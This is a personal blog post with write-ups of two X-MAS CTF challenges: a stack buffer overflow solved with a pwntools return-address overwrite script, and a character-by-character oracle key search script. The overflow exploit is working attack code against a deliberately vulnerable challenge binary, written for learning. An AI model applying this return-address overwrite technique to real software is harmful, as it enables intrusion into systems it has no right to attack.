This is my first blog post and I’m writting it a while after the CTF has concluded however I need to start somewhere right? I wasn’t able to contribute much to this CTF as I was preparing for finals. However, I did have a great time solving and attempting what I could and it was great to work with other members of redpwn.

Pwn #

Snowflow #

Snow, snow, snow... there is snow everywhere! I'm feeling a little bit overwhelmed... or would I say overflowed?

Running a file check on the challenge we see that it is stripped which means there are no debugging symbols.

chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.  
2, for GNU/Linux 3.2.0, BuildID[sha1]=b96d5da6df4dc39b35bec7a8068b741d24999c3d, stripped

My second step was to open the binary in Ghidra. I saw that the main function had a buffer which could be overflowed.

  char local_12 [10];
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Helloooooo, do you like to build snowmen?");
  read(0,local_12,100);

Looking at the other functions in the binary, I noticed a function at 0x401156 which contained puts("X-MAS{REAL FLAG ON THE SERVER}"); Okay, looks like we just need to overflow to run this function which will display for us the real flag on the server.

The first step was to determine the offset. As this is a 64 bit program, I use cyclic from pwntools and send a 512 length string. I attach GDB so that when it crashes I can look at the registers. For 64 bit pwn, RIP is not actually overflow, so I look at RSP for the offset.

$rsp : 0x00007ffe59e19be8 → "aafaaagaaahaaa

I then use cyclic_find from pwntools to identify that the offset is 18. The last step is to add a 64 bit packed address of the function we want to execute which is easy using pwntools. My final solution script looks like this.

from pwn import *  
  
context.terminal = ["tmux", "split", "-h"]  
  
#r = process("./chall")  
  
#gdb.attach(r)  
  
r = remote("challs.xmas.htsp.ro", 12006)  
  
r.recvline()  
  
payload = ""  
  
#payload += cyclic(512)  
# offset is 18  
  
payload += "A" * 18  
  
payload += p64(0x401156)  
  
r.sendline(payload)  
  
r.interactive()

PPC #

Orakel #

We have finally linked up with the famous Lapland Oracle, that knows and sees all!
Can you guess his secret word?

Remote server: challs.xmas.htsp.ro 13000

When connecting to the server, we see that we are given 1000 opportunities to guess the correct key. After brute spamming characters, I deemed the key length to be around 100 characters. This means our program needs to be quite efficient!

The first algorithm which came to mind was binary search. However, after failing to implementing it multiple times I still couldn’t get it to work. The trick was realizing that at each character, the “score” would firrst decrease, then increase if we went from a - > Z. I found an interesting article on how to find the minimum in such a sequence here.

In my solution, I also chose to optimize the searching by implementing a valueDict array which stored the searched strings for each length and their scores. This is a dynamic programming style approach which stops the program from wasting a search on something we already looked for. My final solution didn’t cleanly recieve the flag, so I used context.log_level = "debug" to display all sent and recieved text to retrieve the flag. Below is my final solution which got the flag in ~800 attempts.

from pwn import *
from time import sleep
import regex as re
import string

context.log_level = "debug"

r = remote("challs.xmas.htsp.ro", 13000)
r.recvuntil("Luck.")
r.recvline()

bestScore = 99999
attempts = 1

regexp = re.compile(r": (.*)")

def getScore(inpStr):
    global attempts
    attempts += 1
    r.sendline(inpStr)
    inpLine = r.recv()
    score = int(regexp.search(inpLine).group(1))
    return score

valueDict = {}

def getScoreEff(inpStr):
    global valueDict
    if(inpStr in valueDict):
        return valueDict[inpStr]
    else:
        retVal = getScore(inpStr)
        valueDict[inpStr] = retVal
        return retVal

r.sendline("A")
sleep(1)
r.recv()
r.recv()

# Begin search char by char assuming length max is 100

searchSpace = []
foundKey = ""
currScore = 99999

for i in range(65, 122 + 1):
    if i <= 90 or i >= 97:
        searchSpace.append(i)

for i in range(100):
    if currScore < 0:
        break
    # for each char
    low = 0
    high = len(searchSpace) - 1
    mid = 0

    while(low < high):

        mid = low + ((high - low) / 2)

        #print(str(low) + " " + str(mid) + " " + str(high))

        #lowScore = getScoreEff(chr(searchSpace[low]))
        midScore = getScoreEff(foundKey + chr(searchSpace[mid]))
        midScoreRight = getScoreEff(foundKey + chr(searchSpace[mid + 1]))
        #highScore = getScoreEff(chr(searchSpace[high]))

        #print(str(lowScore) + " " + str(midScore) + " " + str(highScore))

        if midScore < midScoreRight:
            high = mid
        else:
            low = mid + 1

    foundKey += chr(searchSpace[low])
    currScore = getScoreEff(foundKey)
    print(foundKey + " with score of: " + str(getScoreEff(foundKey)) + ", attempts: " + str(attempts))
    currScore = getScoreEff(foundKey)
    valueDict.clear()

    #print("Min found at: " + str(searchSpace[mid]) + ", with a value of: " + str(getScore(chr(searchSpace[mid]))))   

r.interactive()

Concluding thoughts #

Solving the few problems that I did was great, especially seeing my orakel script crank through the characters and the score lowering as it pressed onward. I do wish I had more time to spend on this CTF as we might have been able to place higher as a team.